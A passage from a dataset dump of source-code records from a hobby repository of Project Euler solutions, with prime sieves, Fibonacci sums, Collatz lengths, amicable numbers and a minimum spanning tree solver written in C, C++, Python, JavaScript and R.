"is_vendor": false, "language": "C", "length_bytes": 261, "license_type": "no_license", "max_line_length": 35, "num_lines": 19, "path": "/euler001/euler1.c", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\nint main()\n{\n long i, total, imax;\n \n imax = 1000;\n total = 0;\n \n for (i=0; i<imax; i++) {\n if (i%3 == 0 || i%5 == 0) {\n total += i;\n }\n }\n \n printf(\"\\n%li\\n\", total);\n \n return 0;\n}\n" }, { "alpha_fraction": 0.5474668145179749, "alphanum_fraction": 0.5612395405769348, "avg_line_length": 25.402597427368164, "blob_id": "5d191c6179a8a60c117e34c3aee89b1f1e869b9c", "content_id": "6bcf2db1840e6b9a1390d5f483ebd42805abcda5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2033, "license_type": "no_license", "max_line_length": 72, "num_lines": 77, "path": "/euler037/euler37.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\ndef generate_primes(n_max, callback_fn):\n numbers = [i for i in range(0, n_max)]\n\n i = 2\n try:\n while 1:\n num = 0\n # Get next prime number from the list\n while num == 0:\n num = numbers[i]\n i = i + 1\n\n # Remove all multiples of this prime from the remaining list\n j = 2\n mult = num * j\n while mult < n_max:\n numbers[mult] = 0\n j = j + 1\n mult = num * j\n\n # Process this prime number\n callback_fn(num)\n\n except IndexError as e:\n pass\n\nclass TruncatableChecker(object):\n def __init__(self):\n self.left_truncatables = [2,3,5,7]\n self.right_truncatables = [2,3,5,7]\n self.both_truncatables = []\n\n def check_truncatable(self, prime):\n # Must be called in order for every prime\n prime_string = '{0}'.format(prime)\n if len(prime_string) == 1:\n return False\n\n lstring = int(prime_string[:-1])\n rstring = int(prime_string[1:])\n\n ltruncable = False\n rtruncable = False\n if lstring in self.left_truncatables:\n ltruncable = True\n self.left_truncatables.append(prime)\n\n if rstring in self.right_truncatables:\n rtruncable = True\n self.right_truncatables.append(prime)\n\n if ltruncable and rtruncable:\n self.both_truncatables.append(prime)\n return True\n\n return False\n\n def get_truncatables(self):\n return self.both_truncatables\n\ndef generate_truncatable_primes(n_max):\n tc = TruncatableChecker()\n generate_primes(n_max, tc.check_truncatable)\n return tc.get_truncatables()\n\ndef main():\n truncs = generate_truncatable_primes(1000000)\n print(truncs)\n print(len(truncs))\n print(sum(truncs))\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.45641645789146423, "alphanum_fraction": 0.4782082438468933, "avg_line_length": 14.584905624389648, "blob_id": "d3d5f9a2752154f1c78c37a6e0cbfe851f8978c5", "content_id": "adff5bfb97005d3f54a99ac5ba5175c61391e439", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 826, "license_type": "no_license", "max_line_length": 44, "num_lines": 53, "path": "/euler050/euler50.js", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\"use strict\";\n\nfunction createArray(len) {\n var arr = (function(n,arr) {\n while (n--) {\n arr[n] = n+1;\n } \n return arr;\n })(len, []);\n return arr;\n}\n\nfunction removeAllMultiples(n, arr) {\n var max = arr.length;\n var i=2*n;\n \n do {\n arr[i-1]=0;\n i=i+n;\n } while (i<max+1);\n \n return arr;\n}\n\nfunction createPrimeArray(max) {\n var arr = createArray(max);\n\n var i;\n arr[0] = 0;\n for (i=2; i<max/2+1; i++) {\n if (arr[i-1] != 0) {\n arr = removeAllMultiples(i,arr);\n }\n }\n \n arr = arr.filter(function(val) {\n return (val!=0);\n });\n \n return arr;\n}\n\nvar arr = createPrimeArray(1000);\n\nvar sum = 0;\nvar sums = arr.map(function(val) {\n sum = sum + val;\n return sum;\n});\n\n\n\nconsole.log(sums);\n" }, { "alpha_fraction": 0.4576523005962372, "alphanum_fraction": 0.4829123318195343, "avg_line_length": 22.20689582824707, "blob_id": "b80cb44c3cee36a5f97447c69a4d087e782ffcc6", "content_id": "9451da32c80294b505b8df07a7fae40b297494b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 673, "license_type": "no_license", "max_line_length": 105, "num_lines": 29, "path": "/euler021/euler21.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import division\n\ndef proper_divisors(n_max):\n res = [[] for i in range(0, n_max+1)]\n\n for i in range(1, n_max+1, 1):\n for j in range(i, n_max+1, 1):\n if i*j > n_max:\n break\n if i > 1 or j > 1:\n res[i*j].append(i)\n if i != j and i > 1:\n res[i*j].append(j)\n\n return res\n\ndef main():\n max_n = 10000 \n\n divs = proper_divisors(max_n)\n sums = [sum(l) for l in divs]\n\n amicables = [i for i in range(0, max_n+1) if sums[i] < max_n and sums[sums[i]] == i and sums[i] != i]\n\n print(amicables)\n print(sum(amicables))\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5252659320831299, "alphanum_fraction": 0.5452127456665039, "avg_line_length": 19.29729652404785, "blob_id": "94dd793e75b6403b694d1edcd4d9b9fe9e803f3e", "content_id": "edbce6f5a3ab013216dddbd50647cd273fae382d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 752, "license_type": "no_license", "max_line_length": 74, "num_lines": 37, "path": "/euler023/euler23.r", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\ndivisors <- function(x) {\n sqr <- sqrt(x)\n divs <- seq(1, sqr)\n divs <- divs[x %% divs == 0]\n inv_divs <- x / divs\n divs <- c(divs, (x / divs)[-1])\n if (sqr %% 1 == 0) divs <- divs[-length(divs)]\n return(divs)\n}\n\nis_abundant <- function(x) {\n sum(divisors(x)) > x\n}\n\nabundants <- function(x_max) {\n purrr::keep(seq(1, x_max), is_abundant) \n}\n\nmain <- function(n_max = 28123) {\n print('Calculating abundants ...')\n print(system.time({\n abs <- abundants(n_max)\n }))\n\n print('Removing sums ...')\n print(system.time({\n vals <- seq(1, n_max)\n\n l <- length(abs)\n sums <- c(kronecker(rep(1, l), t(abs)) + kronecker(abs, t(rep(1, l))))\n sums <- sums[sums <= n_max]\n vals[sums] <- 0\n }))\n\n print('Done.')\n print(sum(vals))\n}\n" }, { "alpha_fraction": 0.5030959844589233, "alphanum_fraction": 0.5232198238372803, "avg_line_length": 18.02941131591797, "blob_id": "dfa4b302fe2e40c2e2a30578b7ee48da8de6f623", "content_id": "ac3a5da69922b9feb32ae77900579784af0a954b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 646, "license_type": "no_license", "max_line_length": 56, "num_lines": 34, "path": "/euler006/euler6.js", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "'use strict';\n\nfunction createArray() {\n var arr = (function(n,arr) {\n while (n--) {\n arr[n] = n+1;\n } \n return arr;\n })(100, []);\n return arr;\n}\n\nfunction getResult() {\n var arr = createArray();\n \n var arrSquare = arr.map(function(value) {\n return value * value;\n });\n \n var res1 = arrSquare.reduce(function(total, value) {\n return total + value;\n });\n \n var res2 = arr.reduce(function(total, value) {\n return total + value;\n });\n res2 = res2*res2;\n \n return [res1, res2];\n}\n\nvar res = getResult();\nconsole.log(res);\nconsole.log(res[1]-res[0]);" }, { "alpha_fraction": 0.581232488155365, "alphanum_fraction": 0.5910364389419556, "avg_line_length": 18.29729652404785, "blob_id": "6aa3dd8d6a91dd90b9ef965581f85345e69d9885", "content_id": "842136f347d3dd90425cf5734745c2c169b362d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 714, "license_type": "no_license", "max_line_length": 45, "num_lines": 37, "path": "/euler013/euler13.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\n\nimport sys\nfrom io import open\n\ndef import_file(filename):\n data = []\n f = open(filename, 'r')\n\n for line in f:\n data.append(line.strip())\n\n return data\n\ndef extract_nums(data, length):\n nums = []\n for datum in data:\n if datum:\n nums.append(int(datum[:length])) \n return nums\n\ndef main(filename):\n data = import_file(filename)\n nums = extract_nums(data, 13)\n \n total = 0\n for num in nums:\n total = total + num\n\n print(len(nums))\n print(total)\n print('{0}'.format(total)[:10])\n\nif __name__ == '__main__':\n main(sys.argv[1])\n" }, { "alpha_fraction": 0.3636363744735718, "alphanum_fraction": 0.4171122908592224, "avg_line_length": 14.583333015441895, "blob_id": "2a30b9c6786c0fe83917a67acb7611403c216438", "content_id": "4e1f34059717c782b90818710335348547e7df56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 187, "license_type": "no_license", "max_line_length": 37, "num_lines": 12, "path": "/euler001/euler1.cpp", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "#include <iostream>\n\nint main()\n{\n int total = 0;\n\n for (int i=0; i<1000; i++)\n if (i % 3 == 0 || i % 5 == 0)\n total += i;\n\n std::cout << total << std::endl;\n}\n" }, { "alpha_fraction": 0.4829268157482147, "alphanum_fraction": 0.5, "avg_line_length": 19, "blob_id": "be4c0db94d0fd5a942b0df12eebf70f904f97384", "content_id": "1533642ba97ae0bf7c9b51c2e38a833779f6a8c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 820, "license_type": "no_license", "max_line_length": 52, "num_lines": 41, "path": "/euler014/euler14.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import division\nfrom __future__ import print_function\n\ndef next_collatz(x):\n if x % 2 == 0:\n return int(x / 2)\n else:\n return 3 * x + 1\n\ndef cache_it(fn):\n cached = {}\n def cached_fn(num):\n if num in cached:\n return cached[num]\n else:\n res = fn(num)\n cached[num] = res\n return res \n \n return cached_fn\n\n@cache_it\ndef calc_collatz_len(num):\n if num == 1:\n return 1\n\n next_num = next_collatz(num)\n return calc_collatz_len(next_num) + 1 \n\ndef main():\n max_res = 0 \n for i in range(1, int(1e6)):\n res = calc_collatz_len(i)\n if max_res < res:\n max_i = i\n max_res = res\n\n print('Max = {0} at {1}'.format(max_res, max_i))\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5449516177177429, "alphanum_fraction": 0.5532503724098206, "avg_line_length": 18, "blob_id": "baa98dc243720c8addbd0bb55f6b768de9a21678", "content_id": "594a33383be374890f238bf1f3a7cce1bd9a065b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 723, "license_type": "no_license", "max_line_length": 56, "num_lines": 38, "path": "/euler022/euler22.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\nfrom __future__ import unicode_literals\n\nfrom io import open\n\n\ndef to_number(name):\n return sum([ord(c)-96 for c in name.lower()])\n\ndef get_number(names):\n for name in names:\n name = to_number(name)\n\n total = 0\n for i, name in enumerate(names):\n total += (i+1) * name\n\n return total\n\ndef get_names():\n names = []\n with open('names.txt', 'r') as f:\n tmp = f.read()\n names = [name.strip('\"') for name in tmp.split(',')]\n return names\n\n\ndef main():\n names = get_names()\n names.sort()\n names = [to_number(name) for name in names]\n \n total = 0\n for i, num in enumerate(names):\n total += (i+1) * num\n print(total)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.41124260425567627, "alphanum_fraction": 0.43195265531539917, "avg_line_length": 15.047618865966797, "blob_id": "93287f8873b4dfbb2ebfe7ce8a3da20b970f5bbc", "content_id": "99bcc29127cbbd86b42a2297acd77d8e4caa9ad8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 338, "license_type": "no_license", "max_line_length": 34, "num_lines": 21, "path": "/euler002/euler2-v2.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\ndef fibber(n):\n fibs = [0, 1]\n i = 0\n while fibs[i] < n:\n yield fibs[i]\n fibs[i] += fibs[~i]\n i = ~i\n\ndef sum_even_fibs(n):\n tot = 0\n for f in fibber(n):\n if not(f % 2):\n tot += f\n\n return tot\n\ndef main():\n print(sum_even_fibs(int(4e6)))\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5210084319114685, "alphanum_fraction": 0.5276610851287842, "avg_line_length": 25.89622688293457, "blob_id": "10bcdd385a7611eea1b12eb3d12f84e2ce923b60", "content_id": "8f582a9bbd2f3cb78c9a929f8b453e9db9c678da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2856, "license_type": "no_license", "max_line_length": 68, "num_lines": 106, "path": "/euler051/euler51.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom collections import defaultdict, Counter\nfrom itertools import combinations\n\ndef generate_primes(n_max, callback_fn):\n numbers = [i for i in range(0, n_max)]\n primes = []\n\n i = 1\n while 1:\n num = 0\n # Get next prime number from the list\n try:\n while num == 0:\n i = i + 1\n num = numbers[i]\n except IndexError as e:\n break\n\n # Remove all multiples of this prime from the remaining list\n mult = num * i\n step = 2 * num\n if num == 2:\n step = num \n\n while 1:\n try:\n numbers[mult] = 0\n mult = mult + step\n except IndexError as e:\n break\n\n # Process this prime number\n if callback_fn:\n finished = callback_fn(num)\n if finished:\n break\n else:\n primes.append(num)\n\n if primes:\n return primes\n\ndef get_indices(input_string, digit, num):\n indices = []\n last_index = 0\n for i in range(num):\n new_index = input_string.find(digit, last_index)\n indices.append(new_index)\n last_index = new_index + 1\n return indices\n\ndef all_combinations(input_list):\n combs = []\n for i in range(1, len(input_list)+1):\n combs = combs + list(combinations(input_list, i))\n return combs\n\ndef find_repeating_primes(n_max, n_reps):\n self = {} \n dd_primes = defaultdict(list)\n self['num_digits'] = 0\n self['res'] = []\n\n def check_prime(prime):\n prime_string = '{0}'.format(prime)\n if len(prime_string) != self['num_digits']:\n # New length, reset our set of primes\n dd_primes.clear() \n self['num_digits'] = len(prime_string)\n\n count = Counter(prime_string)\n for el in count:\n digit = el\n num = count[el]\n indices = get_indices(prime_string, digit, num)\n combs = all_combinations(indices)\n for comb in combs:\n prime_string_index = list(prime_string)\n for i in comb:\n prime_string_index[i] = '*'\n prime_string_index = ''.join(prime_string_index)\n dd_primes[prime_string_index].append(prime)\n \n if len(dd_primes[prime_string_index]) == n_reps:\n self['res'] = dd_primes[prime_string_index]\n return True\n\n generate_primes(n_max, check_prime)\n return self['res']\n\ndef main():\n n = int(1e6)\n reps = 8\n primes = find_repeating_primes(n, reps)\n\n print(primes)\n print(len(primes))\n if primes:\n print(min(primes))\n\nif __name__ == '__main__':\n main()\n \n" }, { "alpha_fraction": 0.4710610806941986, "alphanum_fraction": 0.5016077160835266, "avg_line_length": 15.394737243652344, "blob_id": "ad82f849b5d48b520e5bdffb88c4d50803e09bdc", "content_id": "b81c8e80aebb3b43534d846e7e1cc899e9a8f189", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 622, "license_type": "no_license", "max_line_length": 69, "num_lines": 38, "path": "/euler010/euler10.js", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\"use strict\";\n\nfunction createArray(len) {\n var arr = (function(n,arr) {\n while (n--) {\n arr[n] = n+1;\n } \n return arr;\n })(len, []);\n return arr;\n}\n\nfunction removeAllMultiples(n, arr) {\n var max = arr.length;\n var i=2*n;\n \n do {\n arr[i-1]=0;\n i=i+n;\n } while (i<max+1);\n \n return arr;\n}\n\nvar num = 2000000;\nvar arr=createArray(num);\n\nvar i;\narr[0] = 0;\nfor (i=2; i<num/2+1; i++) {\n if (arr[i-1] != 0) {\n arr = removeAllMultiples(i,arr);\n }\n}\n\nvar res = arr.reduce(function(total, value) { return total+value; });\n\nconsole.log(res);" }, { "alpha_fraction": 0.5615050792694092, "alphanum_fraction": 0.5817655324935913, "avg_line_length": 22.066667556762695, "blob_id": "e2c89d3c0d4633b1fdb2c25d265ddc78a235fcd4", "content_id": "31e98094c6022c1e3cad7a7e56b026b6b335058c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 691, "license_type": "no_license", "max_line_length": 84, "num_lines": 30, "path": "/euler002/euler2.js", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "var _ = require('underscore');\n\nvar sum = function(array) { \n return array.reduce(function(a,b) { return a+b; }, 0);\n}\n\nvar fibonacci_generator = function(max_number) {\n var result = [];\n var current_index;\n result.push(1);\n result.push(2);\n current_index = 2;\n \n do {\n result.push(result[current_index-1] + result[current_index-2]);\n current_index++;\n } while (result[current_index-1] < max_number);\n result.pop();\n \n return result;\n}\n\nfunction euler2() {\n var fibs = fibonacci_generator(4e6);\n fibs = fibs.map(function(x) { if (x%2 == 0) { return x; } else { return 0; } });\n \n return sum(fibs);\n}\n\nconsole.log(euler2());" }, { "alpha_fraction": 0.515561580657959, "alphanum_fraction": 0.5385656356811523, "avg_line_length": 19.52777862548828, "blob_id": "3171dad86f722015c2eae9ade49eab0f8299e94c", "content_id": "ce279a760adff9c2e5301976da06bb70a3ab1591", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 739, "license_type": "no_license", "max_line_length": 45, "num_lines": 36, "path": "/euler002/euler2.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "import timeit\n\ndef fib(n, n_minus1 = 0):\n return n + n_minus1\n\ndef fibonacci(n, max_fib = -1):\n previous_result = 1\n result = 1\n temp_result = 0\n results = [previous_result, result]\n \n for i in range(1,n):\n temp_result = result\n result = fib(result, previous_result)\n if result > max_fib:\n break\n previous_result = temp_result\n # print(result)\n results.append(result)\n \n return results\n\ndef only_if_even(a):\n if a % 2 == 0:\n return a\n else:\n return 0\n\ndef main():\n fibs = fibonacci(100, 4e6)\n fibs = map(only_if_even, fibs)\n print sum(fibs)\n \nif __name__ == '__main__':\n # timeit.timeit(\"main()\", number=1);\n main();\n" }, { "alpha_fraction": 0.4385150671005249, "alphanum_fraction": 0.4663573205471039, "avg_line_length": 16.91666603088379, "blob_id": "08e057fb2cf078e2c33de40a7fd2199e59fcc54f", "content_id": "48a09b2c56b901ace51198e6170b57010138862d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 431, "license_type": "no_license", "max_line_length": 39, "num_lines": 24, "path": "/euler001/euler1.js", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\nfunction is_multiple(num, divs) {\n 'use strict';\n for (var i=0; i<divs.length; i++) {\n if (num % divs[i] === 0) {\n return true;\n }\n }\n return false;\n}\n\nfunction euler1(nmax, divs) {\n 'use strict';\n var total = 0;\n\n for (var i=1; i<nmax; i++) {\n if (is_multiple(i, divs)) {\n total = total + i;\n }\n }\n\n return total;\n}\n\nconsole.log(euler1(1000, [3, 5]));\n" }, { "alpha_fraction": 0.5660112500190735, "alphanum_fraction": 0.5751404762268066, "avg_line_length": 28.66666603088379, "blob_id": "b5dcb3dafc5a1ead686eb9af8a033f11816a68a7", "content_id": "6f31a9ddc1740f6c1360968e4074a3d2e4ee62d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1424, "license_type": "no_license", "max_line_length": 66, "num_lines": 48, "path": "/euler107/src/algo_reversedelete.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "# ---------------------------------\n# More compatible with python 3 code\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\n\ntry:\n range = xrange\nexcept NameError:\n pass\n\nfrom Queue import PriorityQueue\nfrom src.graph import Graph\n\nclass ReverseDelete(object):\n name = 'reversedelete'\n\n def __init__(self, save_all_edges=False):\n self.queue = PriorityQueue()\n self.graph = Graph()\n self.logging = False\n self.save_all_edges = save_all_edges\n self.all_edges = []\n \n def set_logging(self, level):\n if level == 'debug':\n self.logging = True\n\n def add_edge(self, node1, node2, weight, n, n_nodes, n_edges):\n self.queue.put((-weight, (node1, node2)))\n if self.save_all_edges:\n self.all_edges.append((node1, node2, weight))\n\n def init_from_file(self, f):\n self.graph.import_data(f, self.add_edge)\n\n def solve(self):\n res = []\n while not self.queue.empty():\n (weight, edge) = self.queue.get()\n self.graph.remove_edge(edge[0], edge[1])\n if not self.graph.is_connected():\n self.graph.add_edge(edge[0], edge[1], -weight)\n res.append((edge[0], edge[1], -weight))\n continue\n \n return (self.graph.n_nodes, len(res), res)\n" }, { "alpha_fraction": 0.5283018946647644, "alphanum_fraction": 0.55878084897995, "avg_line_length": 21.933332443237305, "blob_id": "297ea92aabdba58474c3d85680ad6a11e53b81bb", "content_id": "d5b4131c0dac1e850a6f0eae65b8849dca776ef0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 689, "license_type": "no_license", "max_line_length": 85, "num_lines": 30, "path": "/euler096/coords_test.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\nfrom euler96 import transform_coords\nfrom euler96 import Board\n\ndef test(ver):\n board = Board()\n for i in range(1,10):\n for j in range(1,10):\n board.set_value(i, j, transform_coords(i-1, j-1, ver), False)\n\n print('From external to {0}'.format(ver))\n board.print_board()\n print('')\n\n for i in range(1,10):\n for j in range(1,10):\n coords = board.get_value(i, j, False)\n board.set_value(i, j, transform_coords(coords[0], coords[1], ver), False)\n\n print('Back to external')\n board.print_board()\n print('')\n\n\n\nif __name__ == '__main__':\n test('row')\n print('')\n test('column')\n print('')\n test('square')\n" }, { "alpha_fraction": 0.43256184458732605, "alphanum_fraction": 0.47725459933280945, "avg_line_length": 23.54901885986328, "blob_id": "f0c9743971a1ae9fbc19b5ee0cd1adc22c2911aa", "content_id": "7cc1029a4cb17edf1b8edd6d21d6c1ef731a9c3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1253, "license_type": "no_license", "max_line_length": 63, "num_lines": 51, "path": "/euler019/euler19.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\nclass MyDate(object):\n def __init__(self, day, month, year):\n # No error checking here\n self.day = day\n self.month = month\n self.year = year\n\n def add_days(self, n):\n # Only works for small n\n self.day = self.day + n\n\n if self.month in [9, 4, 6, 11]:\n days_in_month = 30\n elif self.month == 2:\n if self.year % 4 == 0 and (self.year % 100 !=0 \n or self.year % 400 == 0):\n days_in_month = 29\n else:\n days_in_month = 28\n else:\n days_in_month = 31\n\n if self.day > days_in_month:\n self.day = self.day - days_in_month\n self.month = self.month + 1\n\n if self.month > 12:\n self.month = self.month - 12\n self.year = self.year + 1\n\ndef main():\n # Start on 1 Jan 1900, Monday\n d = MyDate(1, 1, 1900)\n\n # Move to the first Sunday\n d.add_days(6)\n\n # Now iterate through Sundays to check for 1st of the month\n total = 0\n while 1:\n d.add_days(7)\n if d.day == 1 and d.year >= 1901:\n total = total + 1\n\n if d.year > 2000:\n break\n\n print(total)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5945330262184143, "alphanum_fraction": 0.6036446690559387, "avg_line_length": 25.606060028076172, "blob_id": "fa3e3e922cf3f940e5d6a9d03cb59da941cdb696", "content_id": "0884811aee242a541447f3bc260f48bfc280c272", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1756, "license_type": "no_license", "max_line_length": 69, "num_lines": 66, "path": "/euler107/main.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "# ---------------------------------\n# More compatible with python 3 code\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\n\ntry:\n range = xrange\nexcept NameError:\n pass\n\n# End of more compatible with python 3\n# ---------------------------------\n\nimport sys\nimport os\n\nfrom src.chooser import choose_algorithm, print_algorithms\n\ndef print_usage():\n print('Minimum spanning tree solver:')\n print('Usage:')\n print(' python main.py X Y')\n print()\n print(' where:')\n print(' X is the filename of mst data')\n print(' Y is an integer 1,2,3 ...')\n print()\n print('Available solvers:')\n print_solvers()\n print()\n\ndef get_opts():\n algo = sys.argv[2]\n filename = sys.argv[1]\n return (algo, filename)\n\ndef print_results(n_nodes, n_edges, edges, all_edges, algo_name):\n total_weight = sum([edge[2] for edge in edges])\n total_all_weight = sum([edge[2] for edge in all_edges])\n\n print('MST {0} algorithm:'.format(algo_name))\n print('Original weight = {0}'.format(total_all_weight))\n print('Total weight = {0}'.format(total_weight))\n print('Diff = {0}'.format(total_all_weight-total_weight))\n print('Number of nodes = {0}'.format(n_nodes))\n print('Number of edges = {0}'.format(n_edges))\n\ndef main():\n if len(sys.argv) < 3:\n print_usage()\n return\n\n (algo_choice, file_in) = get_opts()\n Algo = choose_algorithm(algo_choice)\n\n algo = Algo(True)\n with open(file_in, 'r') as f:\n algo.init_from_file(f)\n (n_nodes, n_edges, edges) = algo.solve()\n \n print_results(n_nodes, n_edges, edges, algo.all_edges, algo.name)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4780915379524231, "alphanum_fraction": 0.4873417615890503, "avg_line_length": 22.329545974731445, "blob_id": "dec8fc64e6cf11ef339d5b42b0d567d218753e86", "content_id": "279fa4d1d5549a3dbb78f9fccb1023cc9c488169", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2054, "license_type": "no_license", "max_line_length": 68, "num_lines": 88, "path": "/euler047/euler47.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\ndef generate_primes(n_max, callback_fn):\n numbers = [i for i in range(0, n_max)]\n primes = []\n\n i = 1\n while 1:\n num = 0\n # Get next prime number from the list\n try:\n while num == 0:\n i = i + 1\n num = numbers[i]\n except IndexError as e:\n break\n\n # Remove all multiples of this prime from the remaining list\n mult = num * i\n step = 2 * num\n if num == 2:\n step = num \n\n while 1:\n try:\n numbers[mult] = 0\n mult = mult + step\n except IndexError as e:\n break\n\n # Process this prime number\n if callback_fn:\n finished = callback_fn(num)\n if finished:\n break\n else:\n primes.append(num)\n\n if primes:\n return primes\n\n\ndef consecutive_prime_factors(n_max, n_consec):\n prime_factors = [[] for i in range(n_max)] \n\n def test_consecutives(i):\n found = True\n for j in range(n_consec):\n if i + j >= n_max:\n found = False\n break\n\n if len(prime_factors[i+j]) != n_consec:\n found = False\n break\n\n return found\n\n def add_to_prime_factors(prime):\n # Add multiples of this prime to prime factors list\n mult = prime\n\n while 1:\n try:\n prime_factors[mult].append(prime)\n mult = mult + prime \n except IndexError as e:\n break\n \n generate_primes(n_max, add_to_prime_factors)\n for i in range(n_max):\n if test_consecutives(i):\n res = i\n break\n\n print(res)\n for i in range(n_consec):\n print(prime_factors[res+i])\n\ndef main():\n n_max = 1000000\n l = 4\n consecutive_prime_factors(n_max, l)\n\nif __name__ == '__main__':\n main() \n" }, { "alpha_fraction": 0.4970724284648895, "alphanum_fraction": 0.5078582167625427, "avg_line_length": 23.755725860595703, "blob_id": "aef0db968cf8d2728a0b2a211f651d280b3c0174", "content_id": "feccd08f1c579dd87ee078eea7b0a637fc93af11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3245, "license_type": "no_license", "max_line_length": 69, "num_lines": 131, "path": "/euler051/prime_generator.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\ndef remove_mults(numbers, num, offset):\n # Sets all multiples of num in numbers to 0, starting from num**2\n # Numbers are successive integers, starting from offset\n\n if num * num - offset < 0:\n rem = offset % num\n if rem == 0:\n mult = 0\n else:\n mult = num - rem\n else:\n mult = num * num - offset\n\n # step = 2 * num\n # if num == 2:\n step = num \n while 1:\n try:\n numbers[mult] = 0 \n mult = mult + step \n except IndexError as e:\n break\n\ndef next_primes(n_min, n_max, prev_primes=None, callback=None):\n # Manually exclude 0 and 1\n if n_min < 2:\n n_min = 2\n\n # Includes n_min, excludes n_max\n numbers = [i for i in range(n_min, n_max)]\n primes = [] \n\n # If we don't have the previous primes, need to generate them\n if prev_primes == None:\n if n_min > 2:\n prev_primes = next_primes(2, n_min, None, None)\n primes = []\n else:\n prev_primes = []\n primes = []\n else:\n primes = prev_primes\n\n # Remove all multiples of prev_primes from the list\n for num in prev_primes:\n remove_mults(numbers, num, n_min)\n \n i = 0\n while 1:\n num = 0\n # Get next prime number from the list\n try:\n while num == 0:\n num = numbers[i]\n i = i + 1\n except IndexError as e:\n break\n\n # Remove all multiples of this prime from the remaining list\n remove_mults(numbers, num, n_min)\n \n # Process this prime number\n if callback:\n finished = callback(num)\n if finished:\n break\n primes.append(num)\n\n return primes\n\ndef generate_primes(n_max, callback):\n STEP = int(3e7)\n upper = 0\n primes = []\n while upper < n_max:\n lower = upper\n upper = min(upper + STEP, n_max)\n next_primes(lower, upper, primes, callback) \n \n return primes\n\ndef generate_primes_old(n_max, callback_fn):\n numbers = [i for i in range(0, n_max)]\n primes = []\n\n i = 1\n while 1:\n num = 0\n # Get next prime number from the list\n try:\n while num == 0:\n i = i + 1\n num = numbers[i]\n except IndexError as e:\n break\n\n # Remove all multiples of this prime from the remaining list\n mult = num * i\n step = 2 * num\n if num == 2:\n step = num \n\n while 1:\n try:\n numbers[mult] = 0\n mult = mult + step\n except IndexError as e:\n break\n\n # Process this prime number\n if callback_fn:\n finished = callback_fn(num)\n if finished:\n break\n else:\n primes.append(num)\n\n if primes:\n return primes\n\ndef compare_prime_generators():\n n = int(1e7) \n print(len(generate_primes(n, None)))\n print(len(generate_primes_old(n, None)))\n\nif __name__ == '__main__':\n compare_prime_generators()\n \n" }, { "alpha_fraction": 0.40979382395744324, "alphanum_fraction": 0.4329896867275238, "avg_line_length": 25.689655303955078, "blob_id": "f57763b0e7200f4b643a842a2e0a539fb9e6e361", "content_id": 